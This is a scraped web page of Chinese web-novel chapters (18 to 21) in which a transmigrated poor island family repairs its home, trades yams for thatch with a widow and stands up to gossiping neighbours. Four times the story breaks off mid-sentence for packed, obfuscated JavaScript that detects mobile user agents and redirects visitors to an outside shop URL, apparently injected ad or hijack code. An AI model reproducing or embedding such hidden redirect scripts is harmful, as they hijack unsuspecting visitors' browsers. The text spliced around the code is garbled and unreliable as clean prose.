l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483531|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句“不识好人心”,低着头快步走了。 王秀莲没理他,站在院门口等着。 不一会儿,一个年轻女人从屋里走出来。她穿着一件洗得发白的蓝布衫,袖口打着补丁,头发用一根黑布条扎得整整齐齐,露出一张干干净净的脸。五官长得确实不错,眉眼清秀,皮肤也白净,在这海岛上算是少见的。只是那张脸上没什么表情,冷冷的,像隔着一层霜。 “你找谁?”她站在院子里,没开门。 “我是沈大帆家里的,”王秀莲笑着说,把手里那包山药提起来给她看,“住在东北边山脚那边,姓沈。我想跟你换点茅草,你家屋后头那些,要是有多的,能不能换我一些?” 刘美芹打量了她一眼,目光在那包山药上停了停——山药在这岛上可是好东西。她又看了看王秀莲的脸,穿着一身补丁摞补丁的衣裳,头发也用布条扎着,跟她一样穷,一样寒酸,但那张脸上带着笑,笑得很实在,不像是来看热闹的。 “你进来吧。”刘美芹把院门打开了。 王秀莲走进去,院子不大,但收拾得利利索索。墙角种了几棵葱,窗台上晒着几个海螺壳,屋里头隐隐约约能听见小孩子的声音。 “你家小子多大了?”王秀莲随口问。 “四岁,”刘美芹说到孩子的时候,脸上的冷色淡了些,“在屋里头玩呢。” 她领着王秀莲绕到屋后,指着那堆茅草说:“就这些,你要多少?” 王秀莲蹲下来看了看,茅草是去年的,干了,颜色发黄,但没烂没霉,铺屋顶没问题。 “我想要一捆,”她说,“我拿山药跟你换,你看行不行?” 她把那包山药打开给刘美芹看。几根大山药,个个都有拳头粗,皮是灰褐色的,沾着泥巴,但一看就是好东西。 刘美芹看了看山药,又看了看王秀莲,点了点头:“行。这两捆茅草你都拿走吧。” 王秀莲愣了一下——这几根山药虽然金贵,但两捆茅草在这个岛上可不好弄。台风刚过,谁家屋顶都有损失,茅草正是紧俏的时候。 “太多了,”她实诚地说,“一捆就够了。山药你留两根给孩子吃,剩下的我拿回去。” 刘美芹看了她一眼,脸上的冷色又淡了些,嘴角甚至微微动了一下,像是在笑,又像是叹口气:“拿着吧,多了我也用不上。就我跟孩子两个人,用不了那么多。再说,山药比茅草金贵,我这茅草放着也是放着。” 王秀莲正要推辞,院门口忽然传来一阵脚步声,还有叽叽喳喳的说话声。 “哎哟,刘寡妇家来客人了?这可是稀罕事!” 19. 上哪儿弄? “谁呀?哪个不长眼的敢来刘寡妇家串门?” 两个中年妇女从院门口探进头来,一个是马大嘴,一个是瘦削婶子,都是岛上出了名的碎嘴子。她们看见王秀莲蹲在屋后头,面前摆着两捆茅草和一包山药,眼睛顿时亮了。 “哟,这不是沈大帆家的吗?”马大嘴嗓门大,一开口大老远都听得见,眼珠子在那包山药上转了两圈,“你来刘寡妇家干啥?换茅草?拿山药换?” 王秀莲站起身,不慌不忙地说:“对,换点茅草修屋顶。” 马大嘴啧啧了两声,脸上堆着笑,眼神却不老实,一个劲儿地往那包山药上瞟:“美芹啊,你可想清楚了,沈家可是出了名的懒,欠了一屁股工分,连口粮都领不回来。他们家那几根山药能值几个钱?我跟你说,我家地瓜刚刨了一批,个头大,甜得很,比这山药值钱多了!你跟我换,这两捆茅草我给你三斤地瓜,咋样?” 瘦削婶子也跟着帮腔,话里话外都是酸味:“就是就是,美芹啊,你一个人带孩子不容易,名声更要紧。沈家那种人家,少来往的好。你看看他们家那破屋子,一家十几口人挤在一起,脏得跟猪圈似的,你跟他们换东西,传出去多难听啊。咱们都是邻居,平时住一块儿,关系不比这种人亲近?跟她换还不如跟咱们换,咱们还能亏了你不成?” 两个人一唱一和,嘴上说是为刘美芹着想,眼睛却一直往那包山药上瞄。马大嘴甚至往前走了两步,伸手就要去摸那包山药:“让我看看这山药咋样,别是烂的——” 刘美芹一步跨过去,挡在她面前。 她脸色冷得像腊月里的海水,冰得能冻死人。那双眼睛直直地盯着马大嘴,声音不大,但每个字都像石头一样硬:“我家的茅草,我愿意跟谁换就跟谁换。沈家再穷,也是正正经经过日子的人家,比那些整天在别人家门口晃悠、嚼舌根子的人强一百倍。” 马大嘴的手僵在半空,脸上的笑挂不住了。 “你们说沈家脏,我瞧着沈家嫂子收拾得干干净净的;你们说沈家懒,人家男人昨天上工挣了十二个工分,比你家男人挣得还多。”刘美芹一字一句地说,目光从马大嘴脸上转到瘦削婶子脸上,“你们说我坏了名声,我倒想问问,我刘美芹的名声,什么时候轮到你们来嚼舌头了?” 马大嘴和瘦削婶子被噎得脸一阵红一阵白,张了张嘴想反驳,但刘美芹那双眼睛冷冷地盯着她们,盯得她们心里发毛。马大嘴嘴皮子动了动,想说点什么找补回来,被那眼神一盯,愣是一个字都蹦不出来。 “我刘美芹的名声,用不着你们操心。”刘美芹把山药往身后挪了挪,护得严严实实的,“管好自己的嘴,少管别人的闲事。我换谁的东西不换谁的东西,那是我的事,轮不到你们来指手画脚。” 马大嘴“哼”了一声,脸上挂不住,拉着瘦削婶子转身就走。走了几步又回过头来,啐了一口:“什么人啊,好心当成驴肝肺!活该当寡妇!” 刘美芹站在院门口,看着那两个人走远了,脸上的冷意才慢慢收回来。她转过身,对王秀莲说:“你等着,我去拿绳子帮你捆上。” 王秀莲看着她的背影,心里头忽然有点不是滋味。这个女人年纪不大,带着个孩子,一个人撑起一个家,在这岛上不知道受了多少闲气。刚才那番话,明着是怼马大嘴她们,实际上也是说给那些整天在她家门口晃悠的光棍们听的。她护着那包山药的样子,不像是护着几根吃食,倒像是护着什么了不得的宝贝。 “刘妹子,”王秀莲喊了一声,声音比刚才软了不少,“你一个人带孩子,日子不好过吧?” 刘美芹正弯腰捆茅草,手上的动作顿了顿,没回头。过了好一会儿,才闷声说了一句:“还行,能过。” “你男人没了,生产队那边……” “我出工。”刘美芹把绳子勒紧了,站起来,拍了拍手上的土,“一天挣六个工分,够我跟孩子吃的。屋顶漏了自己补,墙塌了自己垒,没什么不行的。” 她说这些话的时候,语气平平淡淡的,但王秀莲听得出来,这几个字里头藏着多少不容易。六个工分,一天挣的粮食才够两个人吃个半饱。修屋顶、垒院墙,哪样不是男人干的力气活?她一个女人家,咬着牙硬撑下来,为的就是不让人看扁了。 一个女人,带着个四岁的孩子,一天挣六个工分,还要修房子、做家务、应付那些不怀好意的光棍和碎嘴婆子——这日子,怎么可能“还行”? 王秀莲没再多说什么,接过那两捆茅草,把那包山药塞到刘美芹手里。刘美芹的手瘦得跟鸡爪子似的,骨节突出,手背上青筋一根一根的,一看就是常年干重活的人。 “拿着,别跟我客气。”王秀莲把山药往她怀里推了推,“你要是缺什么,来我家说一声,能帮的我们一定帮。我家穷是穷了点,但人多,力气有的是。你家要是有啥重活,就喊我家过来搭把手。” 刘美芹看了看手里的山药,又看了看王秀莲,嘴唇动了动,想说什么,最后还是没说出来。她只是点了点头,把院门关上了。 王秀莲扛着两捆茅草往回走,一路上心里头沉甸甸的。风从海面上吹过来,带着咸腥味,吹得她衣裳哗哗响。她回头看了一眼刘美芹家的院子,院墙不高,能看见屋顶上那几块破了的茅草,在风里晃来晃去的,像是随时会被吹跑。 回到家里,沈大帆正在院子里和泥巴。 “茅草弄来了?”他接过那两捆茅草,看了看,“这么多?” “换的,”王秀莲把用山药换茅草的事儿说了,又说了刘美芹怼马大嘴的事儿,“这女人不容易,能帮的时候帮一把。我瞅着她那双手,瘦得就剩骨头了,还要一个人撑一个家。岛上那些碎嘴子,整天嚼人家的舌根,也不怕烂了舌头。” 沈大帆点了点头,没说什么。他把茅草递给沈冬生,让他赶紧上屋顶铺上。 一家人忙活了一整天。 沈海生带着几个弟弟把院墙重新垒了一遍。土墙塌了半截,他们从后山挖了些黄泥土,掺上碎石头和稻草,和成泥巴,一块一块地垒上去。活不好干,泥巴太稀了挂不住,太干了又裂口子,试了好几回才摸到门道。沈海生干得起劲,袖子卷到胳膊肘以上,两只手糊满了泥巴,脸上也蹭了一道道的泥印子。 沈铁柱几个小的也没闲着,帮着搬石头、提泥巴,一趟一趟地跑,累得气喘吁吁的,但没人喊累。沈铁蛋跑得最欢,一会儿搬石头,一会儿递泥巴,嘴里还哼着不知道从哪儿学来的小调,被沈海生一巴掌拍在后脑勺上:“好好干活,哼啥哼!” 沈铁蛋嘿嘿笑着,低头继续搬石头。 沈冬生和沈富生蹲在屋顶上铺茅草,先把旧的扒下来,再把新的铺上去,一层压一层,用竹片压住,绳子绑紧。茅草够用,王秀莲换回来的两捆加上昨天剩的,刚好把屋顶全盖上了,连那几个小窟窿都堵得严严实实。沈冬生铺完最后一块,在屋顶上站起来,踩了两脚试试,稳稳当当的,一滴水都漏不进去。 “行了!”他喊了一声,声音里带着高兴,“这回不漏了,下场雨也不怕!” 沈富生在旁边收拾工具,把用剩的绳子、竹片归拢到一起,又检查了一遍屋顶边角,确认都铺好了,才顺着梯子爬下来。 沈大帆也没闲着,他把院子里那堆碎石头和破砖头归拢到一起,在灶房旁边搭了个小棚子。棚子不大,刚好能遮住一片地方,上头盖了几块破油布和旧茅草,好歹能挡挡风。以后劈柴、堆东西也有个地方,不用再堆在露天里,一下雨就全湿了。 几个儿媳把家里的衣裳被褥全翻出来,该洗的洗,该晒的晒。院子里拉了两根绳子,上面挂满了洗过的衣裳,蓝的、灰的、白的,补丁摞补丁的,在风里飘来飘去。夏迎香蹲在木盆边搓衣裳,手冻得通红,但干得起劲。赵文英在旁边拧衣裳,两个人一边干活一边小声说话,说的都是刘美芹的事儿。 “那个刘寡妇,也是个硬气人,”夏迎香压低声音说,“一个人带着孩子,日子多难啊。” 赵文英点了点头:“可不是嘛。我听说她家屋顶也漏了,一直没找人修,自己爬上去盖的。一个女人家,爬那么高,也不怕摔着。” “人家是没办法,”夏迎香叹了口气,“家里没个男人,啥都得自己干。岛上那些碎嘴子还说三道四的,真是缺德。” 王秀莲坐在门槛上缝补衣裳,一针一线地缝,把那些破得不成样子的衣裳补了又补。沈灵宝蹲在她脚边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483532|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安安静静地玩那个小海螺。她时不时抬头看看院子里的嫂嫂们,又看看垒院墙的哥哥们,小脸上带着笑。 傍晚的时候,屋顶终于补好了。 沈冬生从梯子上爬下来,仰头看了看,满意地点了点头:“这回不漏了,下场雨也不怕。” 院墙也垒好了,虽然歪歪扭扭的,但比之前那半截塌的强多了,至少推上去不晃了。沈海生使劲推了两下,墙稳稳当当的,他咧嘴笑了:“行了,这回狗都钻不进来了。” 灶房旁边搭了个小棚子,柴火整整齐齐地码在里头。院子里的杂物归置得利利索索,地上也扫干净了,看着比前两天顺眼了不少。王秀莲站在院子里,把晾好的衣裳收下来,叠得整整齐齐的,摞在堂屋的柜子上。 一家人围坐在堂屋里吃晚饭。今晚还是山药糊糊配海带汤,但每个人碗里的山药比昨天多了几块。王秀莲把山药切得大块些,煮得面面的,糊糊也比昨天稠了不少。 沈大帆端着碗,没急着吃,把家里的账盘了一遍。 “屋顶修好了,院墙也垒了,这两样暂时不用操心了。接下来要想办法弄粮食。” 桌上的人安静下来,都看着他。 “海带和山药能顶一阵子,但不能一直靠这个。大人还好说,几个小的正在长身体,光吃这些不行。得弄点粮食回来。” 沈海生放下碗:“爹,上哪儿弄?” “石塘镇有供销社,买粮食要钱要粮票,这两样咱都没有。”沈大帆说,声音不大,但一字一句都清楚,“还有个法子,去褚山岛。那边有集市,能拿东西换东西,管得也没那么严。岛上好些人家都去那边换过东西。” 沈冬生皱了皱眉:“褚山岛?那得坐船去吧?咱家有船吗?” “有一条舢板,搁在乱石滩上,烂得差不多了,”沈大帆说,“明天去看看,能修就修,修好了就派上用场了。” 沈富生有些担心:“爹,咱拿什么换?家里就这点海带和山药,换不了多少粮食吧?褚山岛那边的人,应该也不缺鱼干、海货,咱家这点山药,人家不一定稀罕。” 沈大帆点了点头:“所以得想别的法子。海里头有稀少的鱼,山上有野物,只要肯下力气,总能换到东西。这个家穷了这么多年,就是因为光想着混日子,没想过怎么过日子。现在不一样了,咱们来了得自己找活路。” 他顿了顿,又说:“我打听过了,岛上每个月最后一天有一次通行船去石塘镇。到时候也可以去看看那边有没有门路。石塘镇是公家的供销社,买东西要票,但那边也有黑市,偷偷摸摸的,拿东西换东西,不用票。就是得小心点,别让人逮着了。” 沈海生眼睛一亮:“黑市?那咱拿山药去换?” “山药不行,”沈大帆摇了摇头,“山药太平常了,人家不稀罕。得弄点好东西——海参、鲍鱼,或者大鱼干、好海货。这些东西在石塘镇能卖出价。” 沈富生挠了挠头:“这些东西不好弄啊。” “所以得想办法。”沈大帆说,“明天先把舢板修好,能下海就下海。海里头有的是东西,就看你能不能捞上来。” 一家人商量了大半个晚上,把能想到的法子都翻了一遍。沈海生说可以去后山设几个陷阱,说不定能套到野兔啥的。沈冬生说可以去礁石那边挖海蛎子、撬海螺,晒干了也能换东西。沈富生说他水性好,可以憋气下去摸海参。 最后定下来——先把舢板修好,能出海就出海打鱼;后山那片林子也要去看看,设几个陷阱,说不定能猎到点什么;月底的通行船一定要去,看看石塘镇那边有没有换粮食的门路。 沈大帆最后说了一句:“日子是一天一天过的,急不得。但只要肯干,总能活出来。” 一家人散了,各自回屋睡觉。灶房里的火灭了,堂屋里的灯也灭了。沈家的小院安静下来,只有海风还在呜呜地吹,海浪还在哗哗地响。 沈大帆躺在炕上,眼睛睁着,盯着黑漆漆的房顶。房顶是新铺的茅草,有一股子干草的味道,闻着踏实。他翻了个身,把被子往上拽了拽,闭上眼睛。 明天还得早起。上工,修船,下海,找活路。 日子再难,也得一天一天地过。 20. 你累不累? 天刚蒙蒙亮,村里的喇叭就响了。 沈大帆从炕上爬起来,几个儿子陆续醒来。今天上工的人多,他跟三个儿子去海带养殖场,王秀莲带着大儿媳夏迎香和二儿媳赵文英去岸上补渔网。一家子除了三儿媳佟娟儿在家带孩子,其余能出工的全都出工。 “娟儿,你在家看好几个小的,灵宝也交给你了。”王秀莲一边系着衣裳扣子,一边叮嘱道,“中午把那点山药糊糊热热,给孩子们分着吃了。铁柱他们几个要是饿得慌,就多掺点山药,别饿着孩子们的肚子。” 佟娟儿点了点头,把几个孩子拢到身边。她这个身体原主身子不太好,王秀莲便让她先在家歇着,等养好了再上工。沈灵宝坐在门槛上,手里攥着那个小海螺,安安静静地看着大人们忙活,也不闹。 南湾滩头上,已经聚了不少人。 今天岸上的活是补渔网。台风把海带养殖场的筏子打散了,连带也毁了不少渔网。大队长沈德贵把妇女们分成几组,一组补小网,一组补大网。大网重,活儿累,工分也多些,一天能挣八个工分。 王秀莲被分去补小网,夏迎香和赵文英被分到了补大网的那组。 “哎哟喂,这不是沈大帆家的大儿媳妇吗?” 夏迎香刚蹲下来,就听见有人阴阳怪气地喊了一声。她抬头一看,是老熟人马大嘴,旁边还站着瘦削婶子和几个平时跟她们走得近的妇女。 马大嘴手里攥着梭子,嘴上可不闲着:“迎香啊,你家那口子今天也来上工了?没在家睡懒觉?啧啧,太阳打西边出来了,你们沈家这是集体转性了?还是说昨天晚上商量好了,今儿个出来装装样子?” 旁边几个妇女跟着笑,笑声里全是嘲讽,像刀子似的往夏迎香脸上刮。 夏迎香没吭声,低着头把渔网铺开,开始补。她前世在家里学过针线活,补渔网虽然跟补衣裳不一样,但梭子拿在手里还算顺手,慢慢摸索着干。一根线穿进去,拉出来,再穿进去,拉出来,手上的动作虽然不快,但一针一线都稳稳当当的。 马大嘴见她不接话,更来劲了,声音又拔高了几分:“哟,还学会装哑巴了?以前你不是挺能哭的吗?被人家骂两句就抹眼泪,跟个受气包似的,今天咋不哭了?是不是你们家那个泼妇二弟媳教你的?” 夏迎香还是不吭声,手里的梭子不紧不慢地穿进穿出,眼皮都没抬一下。她心里头不是不气,但她记得前世老人说过的话,跟烂人吵嘴,赢了也是输了,因为你把自己拉到跟她一样低了。 旁边的赵文英眼皮同样没有掀起一下。 以前的赵文英,是岛上出了名的泼妇,一天从早骂到晚,逮着谁骂谁,见谁都不顺眼。原主沈家那几个儿媳妇里头,就数她最厉害,嗓门最大,骂人最难听,连马大嘴都得让她三分,轻易不敢招惹她。 可除了穿过来的赵文英,没有人知道,这个身体原主以前那副泼辣模样,不过是被人欺负怕了之后长出来的一层壳。 大嫂夏迎香受了委屈只会躲回家偷偷抹眼泪,她不行,她咽不下那口气。谁欺负到她头上,她就骂回去,骂得越狠越好,骂得对方再也不敢招惹她,让所有人都知道她赵文英不好惹。可骂完了,回到家她也哭,只是从来不让外人看见。 要是今天上工的还是以前的赵文英,听见马大嘴这话里明晃晃的看不起,肯定又要跳起来跟她对骂,能把马大嘴家的祖宗十八代都问候一遍。可现在这具身体的芯子早就换了主人。 有什么好骂有什么好吵的。这种烂人越因为她的话有反应,下次反而更会变本加厉,破事烂人,不值得她再费一句脏话。 马大嘴等了好一会儿,见赵文英一直低着头干活,连个眼神都没给她,心里头直犯嘀咕,这赵文英今天吃错药了?以前那个一点就着的泼妇哪儿去了?她本来准备好了一肚子的话,就等着赵文英跳起来跟她对骂,好让大伙儿看看沈家二儿媳妇那副泼辣样儿,结果人家根本不接招,她那些话全憋在肚子里,难受得要命。 补渔网的活儿枯燥,一上午蹲在滩头上,腰酸背痛。夏迎香一声不吭地干,手里的梭子虽然不太顺手,但干得认真,一针一线都不马虎。她补得慢,比别人慢了一大截,但每块补丁都结结实实的,针脚密实,线头收得干净,比那些图快糊弄的人强多了。 旁边几个妇女偷偷往她这边看,心里头都在嘀咕,这夏迎香今天怎么跟换了个人似的?以前那个被人骂两句就抹眼泪的软柿子,今天被人这么挤兑,居然一声不吭,还能安安心心干活?脸上还带着那么一股子不慌不忙的劲儿,跟以前那个缩手缩脚的样子完全不一样了。 马大嘴在旁边看着,心里头不太痛快。她本来想着今天能看场好戏——夏迎香哭鼻子,赵文英发疯,两个人在滩头上闹起来,她在旁边看热闹,再添油加醋地传出去,让全岛的人都笑话沈家。结果两个人都安安静静的,跟以前完全不一样了,她这场戏算是白等了。 “有啥了不起的,”她嘟囔了一句,声音不大不小,刚好旁边几个人能听见,“补得跟乌龟爬似的,一天能补几张网?就这还好意思挣工分?” 旁边有个妇女小声说了一句:“人家补得结实啊,你补的那块都快散了,刚才大队长过来看了一眼,皱了半天眉头……” 马大嘴脸一红,狠狠地瞪了那人一眼,低下头去扯自己的网,不敢再吭声了。 中午歇工的时候,妇女们三三两两地坐在礁石上吃饭。各家带的都是粗粮饼子、红薯干、咸菜疙瘩,没什么好东西,但凑在一起吃得热闹。有人啃着地瓜干,有人嚼着野菜团子,有人喝着凉水,叽叽喳喳地说着闲话。 马大嘴啃着地瓜干,眼珠子转了转,凑到赵文英跟前。 “文英,你家这几天咋样?听说你公公昨天挣了满工分?真的假的?不是糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483533|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄人的吧?” 赵文英嚼着煮熟的山药棍,点了点头:“真的。” “哎哟,那可了不得!”马大嘴啧啧了两声,嗓门拔得更高,恨不得让所有人都听见,“以前你家不是最懒的吗?你公公天天装病不上工,你男人也是个懒骨头,你婆婆更不用说了,见人就躲,跟个闷葫芦似的。你们家这是咋了?吃错药了?还是撞邪了?该不会是请了啥大仙给做了法吧?” 这话说得难听,旁边几个妇女都竖起了耳朵,等着看热闹。有人嘴角带着笑,有人低着头偷看,有人甚至放下了手里的吃食,生怕错过好戏。 以前的赵文英,听到这种话早就跳起来骂街了,能指着马大嘴的鼻子骂上两小时不带重样的,什么难听的话都骂得出来,能把马大嘴家的丑事从头到尾数落一遍。可今天—— 赵文英把最后一口山药塞进嘴里,慢条斯理地擦了擦嘴,抬起头看了马大嘴一眼。那眼神不急不躁的,像是在看一个不懂事的孩子。 “马婶,”她不紧不慢地开口,声音不大,但每个字都清清楚楚,“你这一辈子,是不是就指着看别人家笑话活着了?自家男人挣几个工分你操过心吗?自家孩子吃饱穿暖你想过吗?整天盯着别人家的锅台转,你累不累?” 马大嘴的笑容僵在脸上,手里的地瓜干都忘了嚼。 赵文英接着说:“我们家以前是穷,是被人瞧不起。可穷咋了?穷不丢人,丢人的是那些自己过得跟烂泥似的,还有脸笑话别人的人。你说我们家懒,可今天我家七口人出海出工,你男人呢?你儿子呢?现在躺在家里睡大觉的可不是我们沈家的人。我听说你家男人这两天腰疼得厉害,躺炕上起不来了?是真的腰疼还是懒得动,你心里头最清楚。” 马大嘴的脸一下子涨得通红,嘴唇哆嗦着,想反驳却找不出话来。赵文英说的没错,她男人今天确实没来上工,说是腰疼,实际上就是懒。他已经在炕上躺了三天了,每天睡到日上三竿才起来,吃了饭又躺回去,家里那点活全压在她一个人身上。 她年轻当姑娘相看人家的时候之所以会选择她男人,主要是因为她公公婆婆勤快,能干会挣钱,家里修的带院子的石头房十分气派,在岛上算得上是体面人家。她嫁过去的时候,多少姑娘羡慕她,说她嫁了个好人家。 然而没想到勤快公婆养出一个懒汉儿。自从公婆先后去世,她男人把公婆留的老本啃完,原本三间石头房换成了现在的泥巴房,日子越过越回去。 只不过因为有沈大帆这个石螺岛著名懒汉在前头,岛上其他男人偷懒就被自家媳妇当成小事儿。马大嘴这些年一直安慰自己,自家日子过得再不好,那也比沈大帆一家过得好多了,至少她家屋顶不漏风,院墙没塌。 现在,这事儿被赵文英当着这么多人的面明晃晃说出来,跟扇她耳光一样。最要命的是,赵文英说的全是实话,她连反驳的余地都没有。 21. 你真厉害! “你——你——”马大嘴气得直喘粗气,手里的地瓜干都捏碎了,碎渣子从指缝里掉下来。 赵文英不慌不忙地继续说,声音还是那么不紧不慢的:“马婶,我劝你一句,有这闲工夫操心别人家的事,不如回去管管自己家那一亩三分地。你补的那张网漏了三处,再不补好,大队长扣你工分的时候,可别又哭天喊地的。到时候你可别说我没提醒你。” 旁边几个妇女憋着笑,你看看我,我看看你,谁也不敢出声。有人把脸别过去,肩膀一抖一抖的;有人低下头假装整理渔网,嘴角却翘得老高。马大嘴被人当众扒了皮,脸上挂不住,可又找不出话来回嘴,只能狠狠地瞪了赵文英一眼,低下头去啃地瓜干,再也不敢吭声了,连喘气都压着声儿。 旁边有个平时跟马大嘴走得近的妇女,叫阿珍婆的,四十来岁,瘦得跟竹竿似的,一双三角眼滴溜溜地转,她男人在队里当计分员,平时仗着这个,没少欺负人。她见马大嘴吃了瘪,不甘心,阴阳怪气地插了一句: “哟,文英,你这话说得可真好听。你以前那脾气,谁不知道?骂起人来能把房顶掀了,今天咋装起斯文来了?是不是你那刻薄婆婆又在家里磋磨你了?还是说,你们沈家最近装模作样的,是想在队里讨个好,年底多分点粮食?我劝你们别白费心思了,队里的人眼睛都亮着呢,谁看不出来你们那点小心思?” 赵文英转过头,看着阿珍婆。 那眼神不凶,不急,就那么安安静静地看着她,跟看个笑话似的。阿珍婆被她看得浑身不自在,往后退了半步,又觉得丢人,硬撑着站在原地。 “阿珍婶,”赵文英叫了她一声,声音不大不小,但每个字都清清楚楚,周围坐着的人都能听见,“你这话说的,我听着怎么这么不是滋味呢?” 阿珍婆以为她要开始发疯了,脸上露出得意的神色,等着看她跳脚骂人的样子。她最会应付这种场面了,只要赵文英一骂人,她就装可怜,哭天喊地说沈家欺负人,到时候看谁丢人。 赵文英却没急,反而笑了笑。那笑容不冷,也不热,就像一把软刀子,慢悠悠地割人,割得你疼了还找不到伤口。 “你说我婆婆刻薄?阿珍婶,你跟我婆婆打过几次交道?你知道她是啥样的人?张嘴就来,你也配?” 阿珍婆张了张嘴,一个字都说不出来。她跟王秀莲确实没怎么打过交道,说王秀莲刻薄,不过是听别人说的。 赵文英往前凑了一步,离阿珍婆更近了,声音也低了些,但低得刚刚好,周围的人都听得见:“你说我们家装模作样讨好队里?阿珍婶,你男人当计分员这些年,往自己家多记了多少工分,你心里没数?要不要我帮你数数?去年秋天那批海带,明明是你家男人监工不力泡烂了一半,结果扣的是别人的工分,你家一分没少。前年冬天修船,你男人报上去的工时比别人多了整整三天,那三天他去哪儿了?在家睡大觉吧?” 阿珍婆的脸一下子白了,白得像晒干的鱼皮。 “你——你胡说八道!”阿珍婆急了,声音都变了调,尖得跟杀鸡似的,“你凭什么诬陷人?我男人当计分员这么多年,清清白白的,谁不知道?你再胡说,我让我男人把你的工分全扣光!” “我胡说?”赵文英笑了一声,那笑声不大,但听在阿珍婆耳朵里,比打雷还响,“阿珍婶,你要是不服气,咱们现在就去找大队长,把去年的工分本子翻出来,一笔一笔地对。你敢不敢?你不是说你男人清清白白吗?那就不怕查,对吧?” 阿珍婆的嘴皮子哆嗦着,脸上的肉都在抖,可一个字都说不出来了。她不敢,她心里清楚那些账经不起查。她男人那点破事,她比谁都清楚,多记工分、虚报工时、把别人干的活算在自己头上,这些事她男人干过不止一回两回。 赵文英看着她那张青一阵白一阵的脸,不紧不慢地补了一句:“阿珍婶,我劝你一句,管好你自己的嘴,少管别人家的闲事。你男人那点破事,不是没人知道,是大家给你留着脸呢。你要是非把脸伸过来让人打,那就别怪别人下手重。” 阿珍婆被气得眼圈都红了,一屁股坐在礁石上,拍着大腿就要哭:“你们沈家欺负人啊!我不就说了两句嘛,至于这样吗?呜呜呜——” 她张着嘴干嚎,可嚎了半天,一滴眼泪都没掉下来。那模样滑稽得很,张大嘴巴,眯着眼睛,脸上的褶子全挤在一起,跟个没晒干的橘子皮似的。 旁边几个妇女再也憋不住了,“噗嗤”一声笑出来。有的捂着嘴偷笑,笑得肩膀直抖;有的低着头假装整理渔网,嘴角却翘到了耳朵根;有的实在忍不住,把脸别到一边去,笑得浑身发颤。连夏迎香都忍不住翘了翘嘴角,手里的梭子都差点掉了。 赵文英看着她,不慌不忙地说:“阿珍婶,你可别哭。你这一哭,别人还以为我欺负你了呢。我可没骂你,也没打你,就是说了几句实话。你要是觉得我说得不对,你反驳我就是了,哭个啥?还是说,你也知道我说的是实话,哭给大伙儿看,想让人同情你?” 阿珍婆的哭声卡在嗓子眼里,哭也不是,不哭也不是,憋得脸通红,跟个煮熟的虾子似的。她张着嘴,脸上的表情僵在那里,要多难看有多难看。 旁边有人小声说:“行了行了,别闹了,让人看见了不好看。” 马大嘴见势头不对,赶紧过来打圆场,拉着阿珍婆的胳膊:“行了行了,都少说两句。干活干活,大队长来了该骂人了。阿珍,你也是,跟她们计较啥?走,那边还有几张网没补呢。” 阿珍婆顺着台阶下来,被马大嘴拽着走了,走出老远还回头瞪了赵文英一眼,但什么都不敢说了。 一场风波就这么散了。 可每个人心里都在琢磨,沈家这两个儿媳妇,今天这是怎么了?一个懦弱的不随便掉眼泪了,一个泼妇不泼妇开始讲道理了,一家子都跟换了个人似的,邪了门了! 有人小声嘀咕:“沈家这是要翻身了?” 旁边的人摇了摇头,没说话,但眼神里头多了些说不清的东西。 海面上,男人们的活也干得热火朝天。 沈大帆带着三个儿子下了海,今天干的活依旧是绑筏子。台风把海带养殖场的竹筏打散了不少,得重新绑紧。 岛上的规矩,男劳力出满一天工,满工分是十个工分。要是捞海带,按斤定量算,多捞多加。今天沈大帆他们干的是绑筏子,没有加分的活,干满一天就是实打实的十个工分。 沈大帆干活又快又稳,他绑的筏子比别人结实一倍,绳子勒得紧紧的,用力扯都扯不散。别人绑筏子就是随便捆两下,他不一样,每根绳子都勒到最紧,每个结都打得死死的,筏子绑好了,在水里晃都不晃一下。 沈海生力气大,一个人扛的竹竿顶别人两个。别人扛一根,他扛两根;别人扛两根,他扛三根。扛起来就走,步子又稳又快,跟没事人似的。 沈冬生手巧,绑绳子的活儿干得又快又好。他手指头灵活,绳子在他手里跟活的一样,三绕两绕就绑得结结实实的,别人还在打第一个结,他已经绑好两根了。 沈富生性子稳,不慌不忙地跟在后面收拾残局。别人绑漏了的、绑松了的,他一个一个地检查,一个一个地加固,确保每一排筏子都结结实实的。 父子四个配合默契,进度比别人快了一大截。别人绑一排筏子的工夫,他们已经绑了两排。旁边干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483534|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的人看着,眼睛都直了,心里头直犯嘀咕——这沈大帆,以前那个懒汉,怎么跟换了个人似的? 